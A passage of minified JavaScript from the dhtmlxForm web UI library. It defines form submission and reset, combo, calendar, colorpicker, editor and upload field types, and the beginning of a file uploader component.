o=this.cont.parentNode.parentNode;if(typeof(o.callEvent)==\"function\"){this.cont.style.display=\"none\";o.callEvent(\"_setCellSize\",[l+15,h+15]);this.cont.style.display=\"\"}}}catch(n){}};dhtmlXForm.prototype.reset=function(){if(this.callEvent(\"onBeforeReset\",[this.formId,this.getFormData()])){if(this._last_load_data){this.setFormData(this._last_load_data)}this.callEvent(\"onAfterReset\",[this.formId])}};dhtmlXForm.prototype.send=function(c,m,n,g){if(typeof m==\"function\"){n=m;m=\"post\"}else{m=(m==\"get\"?\"get\":\"post\")}if(g!==true&&!this.validate()){return}var l=this.getFormData(true);var h=[];for(var e in l){h.push(e+\"=\"+encodeURIComponent(l[e]))}var a=function(o){if(n){n.call(this,o,o.xmlDoc.responseText)}};if(m==\"get\"){window.dhx4.ajax.get(c+(c.indexOf(\"?\")==-1?\"?\":\"&\")+h.join(\"&\"),a)}else{window.dhx4.ajax.post(c,h.join(\"&\"),a)}};dhtmlXForm.prototype.save=function(a,c){};dhtmlXForm.prototype.dummy=function(){};dhtmlXForm.prototype._changeFormId=function(c,a){this.formId=a};dhtmlXForm.prototype._dp_init=function(a){a._methods=[\"dummy\",\"dummy\",\"_changeFormId\",\"dummy\"];a._getRowData=function(g,c){var e=this.obj.getFormData(true);e[this.action_param]=this.obj.getUserData(g,this.action_param);return e};a._clearUpdateFlag=function(){};a.attachEvent(\"onAfterUpdate\",function(e,g,h,c){if(g==\"inserted\"||g==\"updated\"){this.obj.resetDataProcessor(\"updated\");this.obj._last_load_data=this.obj.getFormData(true)}this.obj.callEvent(\"onAfterSave\",[this.obj.formId,c]);return true});a.autoUpdate=false;a.setTransactionMode(\"POST\",true);this.dp=a;this.formId=(new Date()).valueOf();this.resetDataProcessor(\"inserted\");this.save=function(){if(!this.callEvent(\"onBeforeSave\",[this.formId,this.getFormData()])){return}if(!this.validate()){return}a.sendData()}};dhtmlXForm.prototype.resetDataProcessor=function(a){if(!this.dp){return}this.dp.updatedRows=[];this.dp._in_progress=[];this.dp.setUpdated(this.formId,true,a)};dhtmlXForm.prototype._ccActivate=function(e,a,c){if(!this._formLS){this._formLS={}}if(!this._formLS[e]){this._formLS[e]={input:a,value:c}}if(!this._ccActive){this._ccActive=true;this._ccDo()}a=null};dhtmlXForm.prototype._ccDeactivate=function(a){if(this._ccTm){window.clearTimeout(this._ccTm)}this._ccActive=false;if(this._formLS!=null&&this._formLS[a]!=null){this._formLS[a].input=null;this._formLS[a]=null;delete this._formLS[a]}};dhtmlXForm.prototype._ccDo=function(){if(this._ccTm){window.clearTimeout(this._ccTm)}for(var c in this._formLS){var h=this._formLS[c].input;if(String(h.tagName).toLowerCase()==\"select\"){var e=\"\";if(h.selectedIndex>=0&&h.selectedIndex<h.options.length){e=h.options[h.selectedIndex].value}}else{var e=h.value}if(e!=this._formLS[c].value){this._formLS[c].value=e;this.callEvent(\"onInputChange\",[h._idd,e,this])}h=null}if(this._ccActive){var g=this;this._ccTm=window.setTimeout(function(){g._ccDo();g=null},100)}};dhtmlXForm.prototype._ccReload=function(c,a){if(this._formLS&&this._formLS[c]){this._formLS[c].value=a}};dhtmlXForm.prototype._checkDim=function(m,l){var g=document.createElement(\"DIV\");g.className=\"dhxform_obj_\"+this.skin;g.style.cssText+=(dhx4.isIE6==true?\"visibility:hidden;\":\"position:absolute;left:-2000px;top:-1000px;\");document.body.appendChild(g);var h=m.parentNode;var c=m.nextSibling;g.appendChild(m);var e=parseInt(l.style.width);var a=(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?l.offsetWidth:l.clientWidth);var n=a-e;if(c!=null){h.insertBefore(m,c)}else{h.appendChild(m)}g.parentNode.removeChild(g);h=c=g=m=l=null;return n};dhtmlXForm.prototype._autoload=function(){var c=[\"ftype\",\"name\",\"value\",\"label\",\"check\",\"checked\",\"disabled\",\"text\",\"rows\",\"select\",\"selected\",\"width\",\"style\",\"className\",\"labelWidth\",\"labelHeight\",\"labelLeft\",\"labelTop\",\"inputWidth\",\"inputHeight\",\"inputLeft\",\"inputTop\",\"position\",\"size\"];var e=document.getElementsByTagName(\"UL\");var g=[];for(var m=0;m<e.length;m++){if(e[m].className==\"dhtmlxForm\"){var l=document.createElement(\"DIV\");g[g.length]={nodeUL:e[m],nodeForm:l,data:dhtmlXForm.prototype._ulToObject(e[m],c),name:(e[m].getAttribute(\"name\")||null)}}}for(var m=0;m<g.length;m++){g[m].nodeUL.parentNode.insertBefore(g[m].nodeForm,g[m].nodeUL);var n=new dhtmlXForm(g[m].nodeForm,g[m].data);if(g[m].name!==null){window[g[m].name]=n}var h=(g[m].nodeUL.getAttribute(\"oninit\")||null);g[m].nodeUL.parentNode.removeChild(g[m].nodeUL);g[m].nodeUL=null;g[m].nodeForm=null;g[m].data=null;g[m]=null;if(h){if(typeof(h)==\"function\"){h()}else{if(typeof(window[h])==\"function\"){window[h]()}}}}if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"load\",dhtmlXForm.prototype._autoload,false)}else{window.detachEvent(\"onload\",dhtmlXForm.prototype._autoload)}};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"load\",dhtmlXForm.prototype._autoload,false)}else{window.attachEvent(\"onload\",dhtmlXForm.prototype._autoload)}if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachForm=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"form\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";if(window.dhtmlx&&dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(c)}else{c.style.overflow=\"auto\"}this._attachObject(c);this.dataType=\"form\";this.dataObj=new dhtmlXForm(c,a);this.dataObj.setSkin(this.conf.skin);c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXForm.prototype.items.combo={render:function(c,e){c._type=\"combo\";c._enabled=true;c._value=null;c._newValue=null;this.doAddLabel(c,e);this.doAddInput(c,e,\"SELECT\",null,true,true,\"dhxform_select\");this.doAttachEvents(c);this.doLoadOpts(c,e);c.onselectstart=function(g){return true};c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"mode\",e.comboType||\"\");if(e.comboImagePath){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"imagePath\",e.comboImagePath)}if(e.comboDefaultImage){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"defaultImage\",e.comboDefaultImage)}if(e.comboDefaultImageDis){c.childNodes[c._ll?1:0].childNodes[0].setAttribute(\"defaultImageDis\",e.comboDefaultImageDis)}c._combo=new dhtmlXComboFromSelect(c.childNodes[c._ll?1:0].childNodes[0]);c._combo.setSkin(c.getForm().skin);c._combo._currentComboValue=c._combo.getSelectedValue();c._combo.getInput().id=e.uid;var a=this;c._combo.attachEvent(\"onChange\",function(){a.doOnChange(this)});if(e.connector){this.doLoadOptsConnector(c,e.connector)}if(e.filtering){c._combo.enableFilteringMode(true)}else{if(e.serverFiltering){c._combo.enableFilteringMode(true,e.serverFiltering,e.filterCache,e.filterSubLoad)}}if(e.readonly==true){this.setReadonly(c,true)}if(e.style){c._combo.DOMelem_input.style.cssText+=e.style}c._combo.attachEvent(\"onFocus\",function(){var g=this.cont.parentNode.parentNode;var h=g.getForm();if(h.skin==\"dhx_terrace\"&&this.cont.className.search(/combo_in_focus/)<0){this.cont.className+=\" combo_in_focus\"}h.callEvent(\"onFocus\",[g._idd]);h=g=null});c._combo.attachEvent(\"onBlur\",function(){var g=this.cont.parentNode.parentNode;var h=g.getForm();if(h.skin==\"dhx_terrace\"&&this.cont.className.search(/combo_in_focus/)>=0){this.cont.className=this.cont.className.replace(/\\s{0,}combo_in_focus/gi,\"\")}h.callEvent(\"onBlur\",[g._idd]);h=g=null});return this},destruct:function(a){a.childNodes[a._ll?1:0].childNodes[0].onchange=null;a._combo._currentComboValue=null;a._combo.unload();a._combo=null;a._apiChange=null;this.d2(a);a=null},doAttachEvents:function(c){var a=this;c.childNodes[c._ll?1:0].childNodes[0].onchange=function(){a.doOnChange(this);a.doValidate(this.DOMParent.parentNode.parentNode)}},doValidate:function(a){if(a.getForm().hot_validate){this._validate(a)}},doOnChange:function(c){var a=c.base.parentNode.parentNode.parentNode;if(a._apiChange){return}c._newComboValue=c.getSelectedValue();if(c._newComboValue!=c._currentComboValue){if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,c._currentComboValue,c._newComboValue])!==true){window.setTimeout(function(){c.setComboValue(c._currentComboValue)},1);return false}}c._currentComboValue=c._newComboValue;a.callEvent(\"onChange\",[a._idd,c._currentComboValue])}a._autoCheck(a._enabled)},doLoadOptsConnector:function(g,a){var e=this;var c=g;g._connector_working=true;g._apiChange=true;g._combo.load(a,function(){c.callEvent(\"onOptionsLoaded\",[c._idd]);c._connector_working=false;if(c._connector_value!=null){e.setValue(c,c._connector_value);c._connector_value=null}c._apiChange=false;e=c=null})},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a._combo.enable()},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;a._combo.disable()},getCombo:function(a){return a._combo},setValue:function(a,c){if(a._connector_working){a._connector_value=c;return}a._apiChange=true;a._combo.setComboValue(c);a._combo._currentComboValue=a._combo.getActualValue();a._apiChange=false},getValue:function(a){return a._combo.getActualValue()},setWidth:function(c,a){c.childNodes[c._ll?1:0].childNodes[0].style.width=a+\"px\"},setReadonly:function(a,c){if(!a._combo){return}a._combo_ro=c;a._combo.readonly(a._combo_ro)},isReadonly:function(a,c){return a._combo_ro||false},setFocus:function(a){if(a._enabled){a._combo.setFocus()}},_setCss:function(a,e,c){a._combo.setFontSize(c,c)}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doLoadOpts:1,doUnloadNestedLists:1,setText:1,getText:1,isEnabled:1,_checkNoteWidth:1}){dhtmlXForm.prototype.items.combo[c]=dhtmlXForm.prototype.items.select[c]}})();dhtmlXForm.prototype.items.combo.d2=dhtmlXForm.prototype.items.select.destruct;dhtmlXForm.prototype.getCombo=function(a){return this.doWithItem(a,\"getCombo\")};dhtmlXForm.prototype.items.calendar={render:function(e,h){var c=this;e._type=\"calendar\";e._enabled=true;var l=navigator.userAgent;var a=(l.indexOf(\"MSIE 6.0\")>=0||l.indexOf(\"MSIE 7.0\")>=0||l.indexOf(\"MSIE 8.0\")>=0);this.doAddLabel(e,h);this.doAddInput(e,h,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea calendar\");this.doAttachChangeLS(e);if(a){e.childNodes[e._ll?1:0].childNodes[0].onfocus2=e.childNodes[e._ll?1:0].childNodes[0].onfocus;e.childNodes[e._ll?1:0].childNodes[0].onfocus=function(){if(this._skipOnFocus==true){this._skipOnFocus=false;return}this.onfocus2.apply(this,arguments)}}e.childNodes[e._ll?1:0].childNodes[0]._idd=e._idd;e.childNodes[e._ll?1:0].childNodes[0].onblur=function(){var m=this.parentNode.parentNode;if(m._c.base._formMouseDown){m._c.base._formMouseDown=false;this._skipOnFocus=true;this.focus();this.value=this.value;m=null;return true}var n=m.getForm();n._ccDeactivate(m._idd);c.checkEnteredValue(this.parentNode.parentNode);if(n.live_validate){c._validate(m)}n.callEvent(\"onBlur\",[m._idd]);n=m=null};e._f=(h.dateFormat||null);e._f0=(h.serverDateFormat||e._f);var g=e.getForm();e._c=new dhtmlXCalendarObject(e.childNodes[e._ll?1:0].childNodes[0],h.skin||g.skin||\"dhx_skyblue\");e._c._nullInInput=true;e._c.enableListener(e.childNodes[e._ll?1:0].childNodes[0]);if(e._f!=null){e._c.setDateFormat(e._f)}if(!window.dhx4.s2b(h.enableTime)){e._c.hideTime()}if(window.dhx4.s2b(h.showWeekNumbers)){e._c.showWeekNumbers()}if(!isNaN(h.weekStart)){e._c.setWeekStartDay(h.weekStart)}if(typeof(h.calendarPosition)!=\"undefined\"){e._c.setPosition(h.calendarPosition)}if(h.minutesInterval!=null){e._c.setMinutesInterval(h.minutesInterval)}e._c._itemIdd=e._idd;e._c.attachEvent(\"onBeforeChange\",function(m){if(e._value!=m){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,m])!==true){return false}}e._tempValue=e._value=m;c.setValue(e,m,false);e.callEvent(\"onChange\",[this._itemIdd,e._value])}return true});e._c.attachEvent(\"onClick\",function(){e._tempValue=null});if(a){e._c.base.onmousedown=function(){this._formMouseDown=true;return false}}this.setValue(e,h.value);g=null;return this},getCalendar:function(a){return a._c},setSkin:function(a,c){a._c.setSkin(c)},setValue:function(c,e,a){if(!e||e==null||typeof(e)==\"undefined\"||e==\"\"){c._value=null;c.childNodes[c._ll?1:0].childNodes[0].value=\"\"}else{c._value=(e instanceof Date?e:c._c._strToDate(e,c._f0||c._c._dateFormat));c.childNodes[c._ll?1:0].childNodes[0].value=c._c._dateToStr(c._value,c._f||c._c._dateFormat)}if(a!==false){c._c.setDate(c._value)}},getValue:function(c,a){var e=c._tempValue||c._c.getDate();if(a===true&&e==null){return\"\"}return(a===true?c._c._dateToStr(e,c._f0||c._c._dateFormat):e)},setDateFormat:function(c,a,e){c._f=a;c._f0=(e||c._f);c._c.setDateFormat(c._f);this.setValue(c,this.getValue(c))},destruct:function(a){a._c.disableListener(a.childNodes[a._ll?1:0].childNodes[0]);a._c.unload();a._c=null;try{delete a._c}catch(c){}a._f=null;try{delete a._f}catch(c){}a._f0=null;try{delete a._f0}catch(c){}a.childNodes[a._ll?1:0].childNodes[0]._idd=null;a.childNodes[a._ll?1:0].childNodes[0].onblur=null;this.d2(a);a=null},checkEnteredValue:function(a){this.setValue(a,a._c.getDate())}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.calendar[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.calendar.doAttachChangeLS=dhtmlXForm.prototype.items.select.doAttachChangeLS;dhtmlXForm.prototype.items.calendar.d2=dhtmlXForm.prototype.items.input.destruct;dhtmlXForm.prototype.getCalendar=function(a){return this.doWithItem(a,\"getCalendar\")};dhtmlXForm.prototype.setCalendarDateFormat=function(c,a,e){this.doWithItem(c,\"setDateFormat\",a,e)};dhtmlXForm.prototype.items.btn2state={setChecked:function(a,c){a._checked=(c===true?true:false);a.childNodes[a._ll?1:0].lastChild.className=\"dhxform_img \"+a._cssName+\"_\"+(a._checked?\"1\":\"0\");this.doCheckValue(a)}};(function(){for(var c in dhtmlXForm.prototype.items.checkbox){if(!dhtmlXForm.prototype.items.btn2state[c]){dhtmlXForm.prototype.items.btn2state[c]=dhtmlXForm.prototype.items.checkbox[c]}}})();dhtmlXForm.prototype.items.btn2state.render2=dhtmlXForm.prototype.items.btn2state.render;dhtmlXForm.prototype.items.btn2state.render=function(a,c){c._autoInputWidth=false;this.render2(a,c);a._type=\"btn2state\";a._cssName=(typeof(c.cssName)==\"undefined\"?\"btn2state\":c.cssName);a._updateImgNode=function(){};a._doOnFocus=function(){a.getForm().callEvent(\"onFocus\",[a._idd])};a._doOnBlur=function(){a.getForm().callEvent(\"onBlur\",[a._idd])};a._doOnKeyUpDown=function(g,e,h){this.callEvent(g,[this.childNodes[this._ll?0:1].childNodes[0],e,this._idd])};this.setChecked(a,a._checked);return this};dhtmlXForm.prototype.setFormData_btn2state=function(a,c){this[c==true||parseInt(c)==1||c==\"true\"||c==this.getItemValue(a)?\"checkItem\":\"uncheckItem\"](a)};dhtmlXForm.prototype.getFormData_btn2state=function(a){return(this.isItemChecked(a)?this.getItemValue(a):0)};dhtmlXForm.prototype.items.colorpicker={colorpicker:{},render:function(e,g){var c=this;e._type=\"colorpicker\";e._enabled=true;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");e._value=(g.value||\"\");e.childNodes[e._ll?1:0].childNodes[0].value=e._value;var a={input:e.childNodes[e._ll?1:0].childNodes[0],custom_colors:(window.dhx4.s2b(g.enableCustomColors)==true),skin:e.getForm().skin};this.colorpicker[e._idd]=new dhtmlXColorPicker(a);this.colorpicker[e._idd]._nodes[0].valueColor=null;this.colorpicker[e._idd].base.className+=\" dhtmlxcp_in_form\";if(typeof(g.customColors)!=\"undefined\"){this.colorpicker[e._idd].setCustomColors(g.customColors)}if(typeof(g.cpPosition)==\"string\"){this.colorpicker[e._idd].setPosition(g.cpPosition)}this.colorpicker[e._idd].attachEvent(\"onSelect\",function(h){if(e._value!=h){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,h])!==true){e.childNodes[e._ll?1:0].childNodes[0].value=e._value;return}}e._value=h;c.setValue(e,h);e.callEvent(\"onChange\",[e._idd,e._value])}});this.colorpicker[e._idd].attachEvent(\"onHide\",function(h){var l=e.childNodes[e._ll?1:0].childNodes[0];if(l.value!=e._value){l.value=e._value}l=null});e.childNodes[e._ll?1:0].childNodes[0]._idd=e._idd;return this},getColorPicker:function(a){return this.colorpicker[a._idd]},destruct:function(a){if(this.colorpicker[a._idd].unload){this.colorpicker[a._idd].unload()}this.colorpicker[a._idd]=null;try{delete this.colorpicker[a._idd]}catch(c){}a.childNodes[a._ll?1:0].childNodes[0]._idd=null;this.d2(a);a=null},setSkin:function(a,c){this.colorpicker[a._idd].setSkin(c)}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,enable:1,disable:1,isEnabled:1,setWidth:1,setReadonly:1,isReadonly:1,setValue:1,getValue:1,updateValue:1,setFocus:1,getInput:1}){dhtmlXForm.prototype.items.colorpicker[c]=dhtmlXForm.prototype.items.input[c]}})();dhtmlXForm.prototype.items.colorpicker.d2=dhtmlXForm.prototype.items.input.destruct;dhtmlXForm.prototype.getColorPicker=function(a){return this.doWithItem(a,\"getColorPicker\")};dhtmlXForm.prototype.items.container={render:function(a,c){a._type=\"container\";a._enabled=true;this.doAddLabel(a,c);this.doAddInput(a,c,\"DIV\",null,true,true,\"dhxform_container\");return this},getContainer:function(a){return a.childNodes[a._ll?1:0].childNodes[0]},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a.callEvent(\"onEnable\",[a._idd])},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a.callEvent(\"onDisable\",[a._idd])},doAttachEvents:function(){},setValue:function(){},getValue:function(){return null}};dhtmlXForm.prototype.getContainer=function(a){return this.doWithItem(a,\"getContainer\")};(function(){for(var c in dhtmlXForm.prototype.items.input){if(!dhtmlXForm.prototype.items.container[c]){dhtmlXForm.prototype.items.container[c]=dhtmlXForm.prototype.items.input[c]}}})();dhtmlXForm.prototype.items.editor={editor:{},render:function(e,g){var a=(!isNaN(g.rows));e._type=\"editor\";e._enabled=true;e._editor_id=e.getForm().idPrefix+e._idd;this.doAddLabel(e,g);this.doAddInput(e,g,\"DIV\",null,true,true,\"dhxform_item_template\");e._value=(g.value||\"\");var c=this;this.editor[e._editor_id]=new dhtmlXEditor({parent:e.childNodes[e._ll?1:0].childNodes[0],content:e._value,iconsPath:g.iconsPath,toolbar:g.toolbar});this.editor[e._editor_id].attachEvent(\"onAccess\",function(l,m){e.callEvent(\"_onBeforeEditorAccess\",[]);_dhxForm_doClick(document.body,\"click\");if(l==\"blur\"){c.doOnBlur(e,this);e.callEvent(\"onBlur\",[e._idd]);if(e.getForm().skin==\"dhx_terrace\"){var h=e.childNodes[e._ll?1:0].className;if(h.indexOf(\"dhxeditor_focus\")>=0){e.childNodes[e._ll?1:0].className=(h).replace(/\\s{0,}dhxeditor_focus/gi,\"\")}}}else{e.callEvent(\"onEditorAccess\",[e._idd,l,m,this,e.getForm()]);e.callEvent(\"onFocus\",[e._idd]);if(e.getForm().skin==\"dhx_terrace\"){var h=e.childNodes[e._ll?1:0].className;if(h.indexOf(\"dhxeditor_focus\")==-1){e.childNodes[e._ll?1:0].className+=\" dhxeditor_focus\"}}}});this.editor[e._editor_id].attachEvent(\"onToolbarClick\",function(h){e.callEvent(\"onEditorToolbarClick\",[e._idd,h,this,e.getForm()])});if(g.readonly){this.setReadonly(e,true)}e.childNodes[e._ll?0:1].childNodes[0].removeAttribute(\"for\");e.childNodes[e._ll?0:1].childNodes[0].onclick=function(){c.editor[e._editor_id]._focus()};return this},doOnBlur:function(e,c){var a=c.getContent();if(e._value!=a){if(e.checkEvent(\"onBeforeChange\")){if(e.callEvent(\"onBeforeChange\",[e._idd,e._value,a])!==true){c.setContent(e._value);return}}e._value=a;e.callEvent(\"onChange\",[e._idd,a])}},setValue:function(a,c){if(a._value==c){return}a._value=c;this.editor[a._editor_id].setContent(a._value)},getValue:function(a){a._value=this.editor[a._editor_id].getContent();return a._value},enable:function(a){if(this.isEnabled(a)!=true){this.editor[a._editor_id].setReadonly(false);this.doEn(a)}},disable:function(a){if(this.isEnabled(a)==true){this.editor[a._editor_id].setReadonly(true);this.doDis(a)}},setReadonly:function(a,c){this.editor[a._editor_id].setReadonly(c)},getEditor:function(a){return(this.editor[a._editor_id]||null)},destruct:function(a){a.childNodes[a._ll?0:1].childNodes[0].onclick=null;this.editor[a._editor_id].unload();this.editor[a._editor_id]=null;this.d2(a);a=null},setFocus:function(a){this.editor[a._editor_id]._focus()}};(function(){for(var c in {doAddLabel:1,doAddInput:1,doUnloadNestedLists:1,setText:1,getText:1,setWidth:1,isEnabled:1}){dhtmlXForm.prototype.items.editor[c]=dhtmlXForm.prototype.items.template[c]}})();dhtmlXForm.prototype.items.editor.d2=dhtmlXForm.prototype.items.select.destruct;dhtmlXForm.prototype.items.editor.doEn=dhtmlXForm.prototype.items.select.enable;dhtmlXForm.prototype.items.editor.doDis=dhtmlXForm.prototype.items.select.disable;dhtmlXForm.prototype.getEditor=function(a){return this.doWithItem(a,\"getEditor\")};dhtmlXForm.prototype.items.upload={render:function(c,e){c._type=\"up\";c._enabled=true;c._checked=true;c.className=e.position+(typeof(e.className)==\"string\"?\" \"+e.className:\"\");var a=document.createElement(\"DIV\");c.appendChild(a);if(!isNaN(e.inputLeft)){c.style.left=parseInt(e.inputLeft)+\"px\"}if(!isNaN(e.inputTop)){c.style.top=parseInt(e.inputTop)+\"px\"}if(e.inputWidth!=\"auto\"){if(!isNaN(e.inputWidth)){a.style.width=parseInt(e.inputWidth)+\"px\"}}c._uploader=new dhtmlXFileUploader(a,e.swfPath||\"\",e.swfUrl||\"\",e.mode||null,e.swfLogs,e.slXap||\"\",e.slUrl||\"\",e.slLogs||\"\",e.multiple);c._uploader.setURL(e.url||\"\");c._uploader.callEvent=c.callEvent;if(typeof(e.autoStart)!=\"undefined\"){c._uploader.setAutoStart(e.autoStart)}if(typeof(e.autoRemove)!=\"undefined\"){c._uploader.setAutoRemove(e.autoRemove)}if(typeof(e.titleScreen)!=\"undefined\"){c._uploader.enableTitleScreen(e.titleScreen)}if(typeof(e.titleText)!=\"undefined\"){c._uploader.setTitleText(e.titleText)}if(e.hidden==true){this.hide(c)}if(e.disabled==true){this.userDisable(c)}if(!(e.inputHeight==\"auto\"||parseInt(e.inputHeight)==NaN)){c._uploader.p_files.style.height=parseInt(e.inputHeight)+\"px\"}return this},destruct:function(a){this.doUnloadNestedLists(a);a._uploader.callEvent=function(){return true};a._uploader.unload();a._uploader.callEvent=null;a._uploader=null;a._checked=null;a._enabled=null;a._idd=null;a._type=null;a.onselectstart=null;a._autoCheck=null;a.callEvent=null;a.checkEvent=null;a.getForm=null;while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},setText:function(a,c){},getText:function(a){},enable:function(a){a._enabled=true;if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._uploader.enable()},disable:function(a){a._enabled=false;if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._uploader.disable()},setWidth:function(c,a){c.childNodes[0].style.width=a+\"px\";c._width=a},getWidth:function(a){return a._width||parseInt(a.childNodes[0].style.width)},setValue:function(a){a._uploader.clear()},getValue:function(l){var g=l._uploader.getData();var h={};var e=0;for(var c in g){h[l._idd+\"_r_\"+e]=g[c].realName;h[l._idd+\"_s_\"+e]=g[c].serverName;e++}h[l._idd+\"_count\"]=e;return h},getUploader:function(a){return a._uploader},getStatus:function(a){return a._uploader.getStatus()}};(function(){for(var c in {doUnloadNestedLists:1,isEnabled:1}){dhtmlXForm.prototype.items.upload[c]=dhtmlXForm.prototype.items.checkbox[c]}})();dhtmlXForm.prototype.setFormData_upload=function(a){this.doWithItem(a,\"setValue\")};dhtmlXForm.prototype.getUploader=function(a){return this.doWithItem(a,\"getUploader\")};dhtmlXForm.prototype.getUploaderStatus=function(a){return this.doWithItem(a,\"getStatus\")};function dhtmlXFileUploader(c,n,m,o,s,l,v,h,w){var q=this;if(typeof(o)==\"string\"&&typeof(this[o])==\"function\"){this.engine=o}else{this.engine=\"html4\";var g=null;if(typeof(window.FormData)!=\"undefined\"&&typeof(window.XMLHttpRequest)!=\"undefined\"){g=new XMLHttpRequest();if(typeof(g.upload)==\"undefined\"){g=null}}if(g!=null){this.engine=\"html5\"}else{if(typeof(window.swfobject)!=\"undefined\"||g===false){var g=swfobject.getFlashPlayerVersion();if(g.major>=10){this.engine=\"flash\"}}else{this._sl_v=this.getSLVersion();if(this._sl_v){this.engine=\"sl\"}}}g=null}if(typeof(c)==\"string\"){c=document.getElementById(c)}this._upload_mp=(typeof(w)!=\"undefined\"?w==true:true);this._upload_dnd=true;this._swf_file_url=n||\"\";this._swf_upolad_url=m||\"\";this._swf_logs=s;this._sl_xap=l;this._sl_upload_url=v;this._sl_logs=h;this.p=document.createElement(\"DIV\");this.p.className+=\" dhx_file_uploader\";c.appendChild(this.p);this.p_files=document.createElement(\"DIV\");this.p_files.className=\"dhx_upload_files\";this.p.appendChild(this.p_files);this.p_controls=document.createElement(\"DIV\");this.p_controls.className=\"dhx_upload_controls\";this.p.appendChild(this.p_controls);this._files={};this._items={};this._data={};this._autoStart=false;this._autoRemove=false;this._titleScreen=true;this._enabled=true;this._uploaded_count=0;this._initToolbar=function(){this.b_opts={info:{onclick:null},browse:{onclick:null,tooltip:\"Browse\"},upload:{onclick:function(){if(!q._enabled){return}if(!q._uploading){q._uploadStart()}},tooltip:\"Upload\"},cancel:{onclick:function(){if(!q._enabled){return}q._uploadStop();q._switchButton(false)},tooltip:\"Stop\"},clear:{onclick:function(){if(!q._enabled){return}q.clear()},tooltip:\"Clear list\"}};this.buttons={};for(var e in this.b_opts){var x=document.createElement(\"DIV\");x.innerHTML=\"&nbsp;\";x.className=\"dhx_file_uploader_button button_\"+e;x.onclick=this.b_opts[e].onclick;if(this.b_opts[e].tooltip){x.title=this.b_opts[e].tooltip}this.p_controls.appendChild(x);this.buttons[e]=x;x=null}this.buttons.cancel.style.display=\"none\"};this._readableSize=function(x){var e=false;var a=[\"b\",\"Kb\",\"Mb\",\"Gb\",\"Tb\",\"Pb\",\"Eb\"];for(var y=0;y<a.length;y++){if(x>1024){x=x/1024}else{if(e===false){e=y}}}if(e===false){e=a.length-1}return Math.round(x*100)/100+\" \"+a[e]};this._beforeAddFileToList=function(a,e){return(this.callEvent(\"onBeforeFileAdd\",[a,e])===true)};this._addFileToList=function(C,e,y,A,a){this._checkTitleScreen();var x=document.createElement(\"DIV\");x._idd=C;x.className=\"dhx_file dhx_file_\"+A;x.innerHTML=\"<div class='dhx_file_param dhx_file_name'>&nbsp;</div><div class='dhx_file_param dhx_file_progress'>\"+a+\"%</div><div class='dhx_file_param dhx_file_delete' title='Remove from list'>&nbsp;</div>\";this.p_files.appendChild(x);x.childNodes[0].style.width=x.offsetWidth-127+\"px\";this._items[C]=x;this._updateFileNameSize(C);x.childNodes[2].onclick=function(){if(!q._enabled){return}var D=this.parentNode._idd;q._removeFileFromQueue(D)};this.callEvent(\"onFileAdd\",[e])};this._removeFileFromList=function(a){if(!this._items[a]){return}this._items[a].childNodes[2].onclick=null;this._items[a].parentNode.removeChild(this._items[a]);this._items[a]=null;delete this._items[a];if(this._data[a]){this._data[a]=null;delete this._data[a]}this._checkTitleScreen()};this._updateFileNameSize=function(a){this._items[a].childNodes[0].innerHTML=this._files[a].name+(!isNaN(this._files[a].size)?\" (\"+this._readableSize(this._files[a].size)+\")\":\"&nbsp;\");this._items[a].childNodes[0].title=this._files[a].name+(!isNaN(this._files[a].size)?\" (\"+this._readableSize(this._files[a].size)+\")\":\"\")};this._updateFileInList=function(x,e,a){if(!this._items[x]){return}this._items[x].className=\"dhx_file dhx_file_\"+e;this._updateProgress(x,e,a);this._updateFileNameSize(x)};this._updateProgress=function(x,e,a){if(e==\"uploading\"&&a<100&&this._progress_type==\"loader\"){this._items[x].childNodes[1].className=\"dhx_file_param dhx_file_uploading\";this._items[x].childNodes[1].innerHTML=\"&nbsp;\"}else{this._items[x].childNodes[1].className=\"dhx_file_param dhx_file_progress\";this._items[x].childNodes[1].innerHTML=a+\"%\"}this._updateFileNameSize(x)};this._removeFilesByState=function(x){for(var e in this._files){if(x===true||this._files[e].state==x){this._removeFileFromQueue(e)}}};this._switchButton=function(e){if(e==true){this.buttons.upload.style.display=\"none\";this.buttons.cancel.style.display=\"\"}else{var 